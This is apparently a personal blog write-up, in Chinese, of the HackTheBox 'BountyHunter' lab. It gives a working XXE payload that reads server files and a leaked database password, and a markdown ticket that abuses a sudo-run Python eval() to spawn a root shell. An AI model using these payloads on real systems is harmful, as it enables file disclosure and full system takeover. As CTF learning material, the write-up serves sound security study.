HackTheBox--BountyHunter

本文最后更新于:2 年前

前言

这是本人Hack The Box学习笔记的第二篇,由于官方没有提供writeup,所以本人花了较长时间才通关。虽然官方表示难度为“简单”,但无奈本人实在是菜,python代码读不太懂,所以提权时折腾了好半天,才拿到root权限的flag。

正文

信息收集

老规矩,nmap先扫一波:

1
nmap -Pn -A -T4 10.10.11.100

发现开放了ssh和web服务。先用浏览器访问web服务,页面中的“can use burp”(图片中的红框部分)引起了我的注意。

1.png

getshell

点击“portal”选项,看到一个表单页面,根据前面的暗示填写表单并用burpsuite抓包:

2.png

发现上传的数据被URL编码+base64编码了,发送到decoder里面解密一下,得到以下XML代码:

1
2
3
4
5
6
7
<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>hack</title>
<cwe>hack</cwe>
<cvss>hack</cvss>
<reward>hack</reward>
</bugreport>

XML版本为1.0,猜想可能存在XXE实体注入漏洞。

gobuster爆破一下后台:

1
gobuster dir -u http://10.10.11.100/ -w /usr/share/wordlists/dirb/common.txt -x php

发现存在数据库信息泄露,但是直接访问db.php是空白页。于是尝试利用XXE漏洞配合PHP伪协议访问。上网搜索后构造如下payload:

1
2
3
4
5
6
7
8
9
10
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=db.php">
]>
<bugreport>
<title>hack</title>
<cwe>hack</cwe>
<cvss>hack</cvss>
<reward>&file;</reward>
</bugreport>

这里注意要把上面的payload进行base64编码+URL编码后,再发包获得返回内容,返回内容解码后:

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

尝试使用admin作为用户名ssh连接,发现连接失败,这时我们想到可能存在其它用户,于是同样使用XXE漏洞查看/etc/passwd文件,发现还有一个development用户。使用development用户和上述密码后连接成功,获得第一个flag。

提权

尝试sudo su root切换root用户,失败,只能sudo -l查看用户特权:

果然有了发现,打开这个python文件看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False

def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close

main()

审计后可知,我们需要输入一个Markdown文件,而且文件内容开头要是__Ticket Code:__,满足这个条件后继续向下执行。再往下发现可以执行系统命令的eval函数,所以要想办法执行eval函数那一块的代码。因为ticketcode要除以7后余数为4,且开头需要是**,以加号截断,所以构造如下payload并写入一个Markdown文件:

1
2
vim test.md
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

说实话,下面payload里面的这个布尔判断没有弄懂,网上的wp也没有解释为什么。

1
2
3
4
# Skytrain Inc
## Ticket to abc
__Ticket Code:__
**11+10==21 and __import__('os').system('/bin/bash') == False

提权成功!(P.S.不要忘记切换root目录!)

总结

这个靶场其实不仅有一种玩法,例如提权环节执行python脚本,可以在Markdown文件里面写入bash反弹一句话,执行后在本机nc监听,也是可以获取到root权限的。个人认为这个靶场最难的部分在于python代码审计,读懂了才能进行提权操作。最后,放出完结撒花图!


HackTheBox--BountyHunter
https://rookieterry.github.io/2021/11/19/HackTheBox-BountyHunter/
作者
HackerTerry
发布于
星期五, 十一月 19日 2021, 6:02 晚上
许可协议